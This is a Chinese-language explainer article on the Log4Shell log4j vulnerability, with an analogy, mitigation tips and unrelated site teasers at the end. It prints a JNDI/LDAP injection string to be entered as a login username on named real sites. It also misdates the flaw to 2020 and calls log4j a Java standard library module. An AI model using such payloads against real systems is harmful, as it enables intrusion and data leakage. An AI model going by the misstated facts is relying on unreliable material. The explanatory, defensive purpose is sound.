京公网安备 11010802034615号
经营许可证编号:京B2-20210330
作者:李晓飞
来源:Python 技术
2020 年的12月,势必成为各个互联网公司年度最深刻的记忆。
在 12 月初,爆出了一个核弹级的系统漏洞,导致众多互联网公司内部服务器被发现,劫持,甚至植入程序。
尽管目前已经出台了修复补丁,但这个出现在最基础的应用最广泛的模块 log4j 上的漏洞还是让我们心有余悸。
为什么这么就没有被发现,为什么这个漏洞如此严重,这个漏洞到底是怎么回事?……
log4j[1] 是 Java 标准库的模块,主要负责记录各种日志,和 Python 中的 logging[2] 类似。
log4j 功能强大,可以支持各种场景的日志记录需求,比如将日志输出到终端,将日志记录到文件,或者发送到日志服务器等等,可以说但凡需要记录日志的地方,log4j 是最佳选择。
正是由于这一点,log4j 才成为最常用的模块,加上互联网公司的基础设施都是由 java 构建的,所以 log4j 深入到每个公司的角角落落。
log4j 就像一个兢兢业业,任劳任怨的门卫老大爷,一丝不苟的记录着各种来访信息,以便系统排查问题。
为什么这样一个普通的,不起眼的模块会爆出一个惊天漏洞呢?
为了说明这个情况,我借鉴 少数派 PlatyHsu 的比喻[3]做讲解,即使你不会编程,不懂技术也可以理解。
前面我们说 log4j 是一个日志模块,就像一个门卫老大爷,凡是进入里面的人,都需要在门卫处登记一下。
注意这里的登记不是验证,只是简单的记录一下,比如谁,什么时候,什么目的等等,将这些信息记录到日志里。
我们经常看到的 Web 系统的访问日志,就是这个模块负责产生的。
本来一切正常,但是在一些对性能要求很高的系统中,为了不让日志记录占用太多的时间(毕竟,停下来被询问也是需要时间的),日志模块里增加了一个事后处理的功能。
也就是说当访问者很着急时,只要留下一个电话,让门卫之后去询问就好了。
这个设计有诸多好处,类似于异步处理,将记录日志的过程分离出去,异步处理,这样就不会影响主要流程的执行了。
但是,问题也是出在这里的。
一些别有用心的人,就利用预留电话的机制,留下了诈骗电话。
当日志处理模块,事后整理日志时,发现有一行写了打电话询问,于是就拨打了留下的电话,然后电话那头说,恭喜你中奖了,奖品是一部手机,只要提供地址信息就可以免费邮寄过来,等等
这个日志模块在完全不知情的情况下,就泄露了企业内部的信息,这些信息包括收件人,内部电话等等。
你可能会奇怪,为什么需要日志模块拨打电话呢?到底是怎么拨打的电话,这里稍作展开一下。
日志模块不是真的去拨打电话,而是日志记录的机制中允许使用模板。
就像 Python 里的字符串模板一样,在合成字符串时,可以用占位符代替实际内容,根据实际情况做出填充例如:
strTemp = "Hello {name}" print(strTemp.format(name= 'Lily')) # 结果为:Hello Lily
log4j 为了灵活,使用一个叫 JNDI[4](Java Naming and Directory Interface)的目录查询方法,这个方法可以支持 LDAP[5](轻型目录访问协议,Lightweight Directory Access Protocol)协议,对网络上的轻型目标进行查询。
LDAP 的格式为:
ldap://ldap.example.com/cn=John%20Appleseed
意思是向 ldap.example.com 发送一个请求,查询名为 John Appleseed 这个人的信息。
重点来了:
LDAP 协议是可以进行网络访问的
到这里我们就会发现,当处理日志的程序,执行到需要替换日志模板的语句时,恰巧有时需要通过 LDAP 协议获取信息的情况下,就会去访问这个地址。
如果别有用心者,将这个地址作为一个陷阱,或者作为一个木马程序的下载地址,就可以在服务器毫不知情的情况下,在暴漏服务器内部信息,甚至下载木马程序到服务器上。
之前的很多报道已经指出,黑客利用这个漏洞,在服务器上安装了挖矿程序。
对于普通大众来说,系统漏洞离我们很远,即使知道这样的漏洞存在,也不知如何发挥作用,也是因为这个原因,导致很多人对漏洞信息不敏感,以为自己不知道如何使用,别人也就不知道,这样的想法会让自己常常处于危险之中。
log4Shell 漏洞,实施起来简单地让人难以置信,甚至不需要使用什么攻击工具,只需要在平台的登录页面,填写一个特别的用户名即可。
例如在苹果网站上,将用户名写成类似这样的 ${jndi:ldap://ldap.example.com/a} 形式:
苹果
当然 ldap 网站需要自己设置或者使用一个可以提供记录访问者信息的服务,就能看到苹果内部的服务器信息了。
这里还有对 QQ 邮箱的攻击示例:
QQ邮箱
只要在能访问系统的地方,加上特殊的注入语句,就可以实施攻击了,所以对漏洞的攻击,并没有想象中那么复杂,因此在发现漏洞时,要及时打补丁做补救,而不能因为自己不知如何实施而放之不管。
当我们了解了整个过程,对于如何防止就很清晰了,如果这个漏洞没有被及时修复,也可以采取一些措施防止信息泄露。
最容易想到的是防止系统对不了解的外网进行访问。
就像给内部电话限制拨打长途一样,对于超出范围的呼叫做出限制。
第二可以通过参数设置禁止系统的中的 JNDI 通信协议,就是让日志模块中的 JNDI 失效。
还有就是下载补丁,修补漏洞。
漏洞修补很容易,但是造成这个漏洞的根源却难以消除。
我们总是在易用性和安全性之间找到一个平衡点,而增加易用性和功能性的同时,会引入更多的不确定性,特别是当依赖层级加大,大量的间接依赖会使问题的复杂程度超出我们的想象。
log4Shell 因为其巨大的破坏性,一经发现,就被及时处理了,但可能还存在这样那样的依赖导致的问题,继续存在。
因此我们在做系统扩展功能的时候,要特别注意因为依赖而导致的系统问题,很多时候命名觉得无关紧要的边缘的功能,却成了漏洞躲藏的绝佳场所。
没有一个纯净的环境,完美的世界,log4Shell 漏洞让我更清楚地看到这个世界的真实 —— 漏洞无处不在!
我们能做的就是要提供防护意识,像预防新冠病毒一样做好防护,不迷信,不谣传,也不大意和忽视。
可能我们平时写的代码效用有限,如果没有防护和安全意识,就像裸奔一样。
几年前笔者在 github 上发布一段代码示例时,误将实际环境的配置信息上传了上去,过来一周左右,意识到问题时,服务器已经被人注入了挖矿程序!
很难想象一个默默无闻的更新会被人注意且利用了,所以防护意识是我们畅游于网络的护身符。
比心!
很难想象一个默默无闻的更新会被人注意且利用了,所以防护意识是我们畅游于网络的护身符。
数据分析咨询请扫描二维码
若不方便扫码,搜微信号:CDAshujufenxi
在数据指标体系搭建工作中,从业者常困惑于指标搭建的核心逻辑:究竟是依托一线零散数据自下而上汇总指标,还是基于战略目标自上 ...
2026-07-31在数据分析、问卷研究、实验复盘、业务建模的工作中,大多数人最关注的是“用什么统计方法”:是做T检验、方差分析、卡方检验, ...
2026-07-31 许多数据分析师精通Excel函数和SQL查询,但当面对一张上万行的销售明细表,要快速回答“哪个地区销量最高”“哪款产品增长最 ...
2026-07-31在问卷调研的数据分析流程中,“先检验信效度,再开展进阶统计分析”是通用的规范逻辑。很多从业者会听到“问卷效度高,后续可以 ...
2026-07-30【核心关键词】大数据、统计学、专业、毕业生、论文、课程、计算机、建模、知识、数据分析、机器学习、数据科学、大数据技术、 ...
2026-07-30 很多数据分析师掌握了Excel函数、会写SQL查询,但当被问到“数据从哪里来”“数据加工有哪些步骤”“如何使用分析工具连接数 ...
2026-07-30在业务数据分析中,按天拆分统计夜间时段的数据是高频需求——比如电商夜间订单监测、平台夜间用户活跃度分析、运维系统夜间异常 ...
2026-07-29在机器学习建模与特征工程实践中,判断不同特征对模型预测效果的贡献度,是特征筛选、模型解释、业务归因的核心环节。特征置换重 ...
2026-07-29 很多数据分析师精通Excel单元格操作,但当被问到“表结构数据的基本处理单位是什么”“字段和记录的本质区别”“为什么表结 ...
2026-07-29【核心关键词】岗位、数字化、经验、课程、方法论、决策、企业、大方向、数据分析、销售管理、理论知识、思维方式、分析销售、 ...
2026-07-28在问卷调研、用户分群、效果对比等业务数据分析中,分类变量的关联性与差异性验证是高频需求。卡方检验作为针对离散分类数据的经 ...
2026-07-28 数据分析师八成以上的时间在和数据表格打交道,但许多人拿到Excel后习惯性地先算、先分析,结果回头发现漏了一列关键数据, ...
2026-07-28在Excel数据分析与报表制作中,数据透视表是快速完成多维度汇总、分组统计的核心工具。很多从业者在得到透视表汇总结果后,为了 ...
2026-07-27 很多数据分析师每天与Excel打交道,但当被问到“表格结构数据的基本处理单位是什么”“数据类型误判会引发哪些分析错误”“ ...
2026-07-27当下,我们已然步入数据要素价值全面释放的智能时代。数据不再只是零散的数字记录,更是驱动新质生产力运转的核心动能、滋养人工 ...
2026-07-27【核心关键词】客户、数据分析、指标体系、数据采集、数据指标、业务数据、分析思路、业务需求、分析方法 【专访摘要】本次 CDA ...
2026-07-24在数据分析、业务建模与数字化运营体系中,原始业务数据普遍存在缺失、重复、异常、口径不一致等质量问题,直接用于分析与建模会 ...
2026-07-24 很多数据分析师能熟练计算均值、标准差,但当被问到“如何用一张图让业务方3秒内看懂核心结论”“面对不同数据类型该怎么选 ...
2026-07-24在数据驱动的精细化运营体系中,指标是业务判断、效果复盘、策略优化的核心依据。随着企业数据化程度提升,指标数量持续膨胀,但 ...
2026-07-23在用户运营与产品增长体系中,留存是衡量产品真实价值与用户粘性的核心标尺,也是决定用户生命周期价值、获客投产比的底层因素。 ...
2026-07-23